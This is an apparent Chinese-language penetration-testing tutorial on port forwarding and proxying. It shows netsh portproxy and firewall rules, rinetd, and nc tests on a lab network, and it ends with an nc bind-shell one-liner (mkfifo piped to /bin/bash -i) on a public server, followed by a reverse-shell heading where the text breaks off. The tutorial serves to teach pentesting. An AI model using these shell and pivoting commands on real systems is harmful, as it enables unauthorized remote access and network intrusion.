渗透基础-端口转发与代理

端口转发与代理

0x00 引言

渗透测试中,经常会遇到端口的转发和代理,端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。

实际应用中,端口转发分两种情况。

  • Client –> Transit server –> Server

Client 正向连接Transit server,Transit server直接转发至Server

  • Client <– Transit server –> Server

Client无法正向连接Transit server,但Transit server能够反向连接Client。

如果Client要对Server的多个端口进行扫描,逐个配置转发规则不现实,为了提高效率,可以使用代理,配置一次规则即可。

本文将对常用方法和工具进行总结,区分正向和反向,区分转发和代理,分析其中的联系和区别,并给出应用场景,以作参考。

0x01 简介

本文将要介绍以下内容:

  • 针对Windows系统和Linux系统(Ubuntu和CentOS)下的方法
  • 端口转发——正向连接的方法
  • 端口转发——反向连接的方法
  • 正向代理的方法
  • 反向代理的方法
  • 以上方法的应用场景

0x02 端口转发–正向代理

A.应用场景

a.流量转发的跳板

用于隐藏真实的服务器地址

b.建立通道

连接内网服务器的指定端口

Client能够正向连接到Transit server

B.测试环境

Server:192.168.0.109

Client:192.168.0.111

使用nc 测试网络连接

Server:

1
nc -lvp 4444

Client:

1
nc -vv 192.168.0.109 4444

结果:

1566836580039

C.Windows系统下的端口转发方法

Server:192.168.0.109

Transit server: 192.168.0.104

Client:192.168.0.111

a.使用netsh实现端口转发(需要管理员权限)

添加转发规则

1
netsh interface portproxy add v4tov4 listenaddress=192.168.0.104  listenport=7777 connectaddress=192.168.0.109 connectport=4444

添加防火墙入站规则

1
2
netsh advfirewall firewall add rule name="transit test" protocol=TCP dir=in localport=7777 action=allow
# 默认配置允许出站并阻挡入站通信,所以此处仅需要添加入站规则

测试网络连接

Server:

1
nc -lvp 4444

Clinet:

1
nc -vv 192.168.0.104 7777

查看端口转发规则

1
netsh interface portproxy show all

1566837079112

清除端口转发规则

1
netsh interface portproxy delete v4tov4 listenaddress=192.168.0.104 listenport=7777

查看防火墙规则

1
netsh advfirewall firewall show rule name="transit test" dir=in

清除防火墙规则

1
netsh advfirewall firewall delete rule name="transit test"

b.使用rinetd实现端口转发

下载rinetd工具后

为rinetd.exe添加防火墙规则(管理员权限)

1
netsh advfirewall firewall add rule name="transit test2" dir=in program="A:\渗透\渗透工具\端口转 发\rinetd\rinetd.exe" action=allow

编写规则

1
echo 0.0.0.0 7777 192.168.0.109 4444 >conf.txt

启动规则

1
rinetd.exe -c conf.txt

启动后,client可以通过win端口转发使用nc进行正向连接

删除防火墙规则(管理员权限)

1
netsh advfirewall firewall delete rule name="transit test2"

c.使用HTran实现端口转发

注:

lcx和这个功能类似

d.使用EW实现端口转发

e.nc正向getshell

公网服务器上执行

1
2
ubuntu@VM-0-17-ubuntu:~$ mkfifo /tmp/fifo
ubuntu@VM-0-17-ubuntu:~$ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo

内网服务器获得公网shell

1
nc 139.155.24.xxx 8000

nc反向 shell